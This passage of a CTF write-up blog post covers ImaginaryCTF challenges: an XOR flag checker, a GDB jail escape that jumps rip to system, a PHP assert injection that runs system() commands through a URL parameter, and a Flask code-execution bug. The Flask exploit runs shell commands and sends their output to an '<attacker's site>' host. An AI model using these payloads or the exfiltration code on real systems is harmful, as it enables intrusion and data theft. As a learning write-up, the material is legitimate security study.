  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

Alright, so it starts by reading some input (which according to the prompt is the flag) into a buffer local_48 with gets, and then XORing each byte with 0x05. Afterwards, it compares the result iwth the constant string lfqc~opvqZdkjqm`wZcidbZfm`fn`wZd6130a0`0``761gdx. Since the XOR operation is its own inverse, all we need to do to reverse this is to XOR each byte of the constant string with 0x05. To do this I used a simple Python script:

1
2
3
4
xored = "lfqc~opvqZdkjqm`wZcidbZfm`fn`wZd6130a0`0``761gdx"

for c in xored:
    print(chr(ord(c) ^ 0x05), end="")

Which prints

1
ictf{just_another_flag_checker_a3465d5e5ee234ba}

misc/GDBJail1

In this challenge, we get the address of a remote, and 5 files:

1
2
3
4
5
Dockerfile
gdbinit.sh
main.py
nsjail.cfg
run.sh

The Dockerfile and nsjail.cfg aren’t super interesting. The run.sh file runs gdb with the gdbinit located in gdbinit.sh, which sourcees the Python script located in main.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import gdb

def main():
    gdb.execute("file /bin/cat")
    gdb.execute("break read")
    gdb.execute("run")

    while True:
        try:
            command = input("(gdb) ")
            if command.strip().startswith("break") or command.strip().startswith("set") or command.strip().startswith("continue"):
                try:
                    gdb.execute(command)
                except gdb.error as e:
                    print(f"Error executing command '{command}': {e}")
            else:
                print("Only 'break', 'set', and 'continue' commands are allowed.")
        except:
            pass

if __name__ == "__main__":
    main()

This script first loads the binary /bin/cat into GDB, sets a breakpoint at the read function, and then runs the binary. The remaining part of the script makes sure that our commands only start with either set, break, or continue, and our goal is to read the flag located at /home/user/flag.txt. The set command allows us to do a lot of things: for example, we can write whatever value we want to any memory location/register we want. To get the flag, I first jumped to the system function by setting the value of the rip register to the address of the system function. Then, I set up the parameters to system so that it’ll execute cat /home/user/flag.txt. I wrote an short C program that calls system to set what registers need to contain what values:

1
2
3
4
5
6
7
8
#include <stdio.h>
#include <stdlib.h>

int main() {
  system("cat ./flag.txt");

  return 0;
}

When debugging the program and stepping to the system function, the registers contain the following values: gdbjail_debug It seems like both rax and rdi are set to the command to be executed, so for good measure let’s just set them both to cat ./flag.txt :) To summarize:

  1. We jump to system by setting rip to the address of system
  2. We write the command we want to execute, cat /home/user/flag.txt, to registers rax and rdi, one of whom is the argument that is passed to the system function
  3. We continue so that the function will be executed Let’s try it on the remote!
1
2
3
4
5
6
7
8
Breakpoint 1, __GI___libc_read (fd=0, buf=0x7ffff7d6b000, nbytes=131072) at ../sysdeps/unix/sysv/linux/read.c:25
(gdb) set $rip=system
(gdb) set $rax="/bin/cat /home/user/flag.txt"
(gdb) set $rdi="/bin/cat /home/user/flag.txt"
(gdb) continue
[Detaching after vfork from child process 11]
ictf{n0_m0re_debugger_a2cd3018}
[Inferior 1 (process 8) exited normally]

Neat!

web/readme

This challenge is a bit strange :) We are provided multiple files for a webapp, including a Dockerfile. The Dockerfile simply contains the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
FROM node:20-bookworm-slim

RUN apt-get update \
    && apt-get install -y nginx tini \
    && apt-get clean \
    && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*

WORKDIR /app
COPY package.json yarn.lock ./
RUN yarn install --frozen-lockfile
COPY src ./src
COPY public ./public

COPY default.conf /etc/nginx/sites-available/default
COPY start.sh /start.sh

ENV FLAG="ictf{path_normalization_to_the_rescue}"

ENTRYPOINT ["/usr/bin/tini", "--"]
CMD ["/start.sh"]

web/journal

In this challenge, we get a webapp and its PHP source code: journal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

echo "<p>Welcome to my journal app!</p>";
echo "<p><a href=/?file=file1.txt>file1.txt</a></p>";
echo "<p><a href=/?file=file2.txt>file2.txt</a></p>";
echo "<p><a href=/?file=file3.txt>file3.txt</a></p>";
echo "<p><a href=/?file=file4.txt>file4.txt</a></p>";
echo "<p><a href=/?file=file5.txt>file5.txt</a></p>";
echo "<p>";

if (isset($_GET['file'])) {
  $file = $_GET['file'];
  $filepath = './files/' . $file;

  assert("strpos('$file', '..') === false") or die("Invalid file!");

  if (file_exists($filepath)) {
    include($filepath);
  } else {
    echo 'File not found!';
  }
}

echo "</p>";

The code checks whether our URL parameter file contains a .. using assert, and serves us the file if it doesn’t. The problem is that the assert function in PHP can be used for RCE, in a similar way as eval. The $file parameter is copied as-is into the string

1
"strpos('$file', '..') === false"

This code is then executed by the PHP runtime. If it returns true (i.e. there are no .. in $file), the assertion succeeds. Since the parameter is copied as-is, we can simply escape the strpos call and execute our own code, for example the system function. For example. if we request the file ',die(system('ls')));//, the code that will be executed by assert is:

1
stropos('',die(system('ls')));//', '..') === false

So we will call die with the output of ls, which will print the output:

1
files index.php index.php

Now, to get the flag, we list the contents of /:

1
http://journal.chal.imaginaryctf.org/?file=%27,die(system(%27ls%20/%27)));//

Which are:

1
bin boot dev etc flag-cARdaInFg6dD10uWQQgm.txt home kctf lib lib64 media mnt opt proc root run sbin srv sys tmp usr var var

and then cat the flag:

1
http://journal.chal.imaginaryctf.org/?file=%27,die(system(%27cat%20/flag-cARdaInFg6dD10uWQQgm.txt%27)));//

Which is:

1
ictf{assertion_failed_e3106922feb13b10}

web/P2C

In this challenge, we’re given a Flask-based webapp: p2c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from flask import Flask, request, render_template
import subprocess
from random import randint
from hashlib import md5
import os
import re

app = Flask(__name__)

def xec(code):
    code = code.strip()
    indented = "\n".join(["    " + line for line in code.strip().splitlines()])

    file = f"/tmp/uploads/code_{md5(code.encode()).hexdigest()}.py"
    with open(file, 'w') as f:
        f.write("def main():\n")
        f.write(indented)
        f.write("""\nfrom parse import rgb_parse
print(rgb_parse(main()))""")

    os.system(f"chmod 755 {file}")

    try:
        res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)
        output = res.stdout
    except Exception as e:
        output = None

    os.remove(file)

    return output

@app.route('/', methods=["GET", "POST"])
def index():
    res = None
    if request.method == "POST":
        code = request.form["code"]
        res = xec(code)
        valid = re.compile(r"\([0-9]{1,3}, [0-9]{1,3}, [0-9]{1,3}\)")
        if res == None:
            return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
        if valid.match("".join(res.strip().split("\n")[-1])):
            return render_template("index.html", rgb="rgb" + "".join(res.strip().split("\n")[-1]))
        return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
    return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

The vulnerability is pretty obvious: the xec function writes our input, which isn’t validated, into a python file, and then executes said file using sudo -u user python3 <our file>. For example, if our input is

1
2
3
print("hello world!")

return 123

The Python file will contain:

1
2
3
4
5
6
def main():
	print("hello world!")

	return 123
from parse import rgb_parse
print(rgb_parse(main()))

The contents of rgb_parse don’t matter, since main(), which contains our code, is always executed no matter what. This gives us complete RCE! To exploit the RCE, we’ll run commands using subprocess.run to get the output, URL encode it, and then send it to a server we control using urllib.request.urlopen, which is a built-in function in Python that sends HTTP requests. For example, to execute ls, we use the following code:

1
2
3
4
5
from urllib.request import urlopen
import subprocess

ls_out = subprocess.run(["ls"], capture_output=True, text=True,).stdout.strip().replace("\n", "%0a").replace(" ", "%20")
urlopen("<attacker's site>/{}".format(ls_out))

In our server, we get a request to:

1
<attacker's site>/app.py%0aflag.txt%0atemplates

Great! The flag is in flag.txt. Let’s cat it:

1
2
3
4
5
from urllib.request import urlopen
import subprocess

ls_out = subprocess.run(["cat", "flag.txt"], capture_output=True, text=True,).stdout.strip().replace("\n", "%0a").replace(" ", "%20")
urlopen("<attacker's site>/{}".format(ls_out))

Awesome! We got the flag:

1
https://<attacker's site>/ictf%7Bd1_color_picker_fr_2ce0dd3d%7D

Summary

Playing this CTF was very fun! I learned a lot (especially from the ropity challenge :)), and the challenges were very creative. Thanks for reading!

This post is licensed under CC BY 4.0 by the author.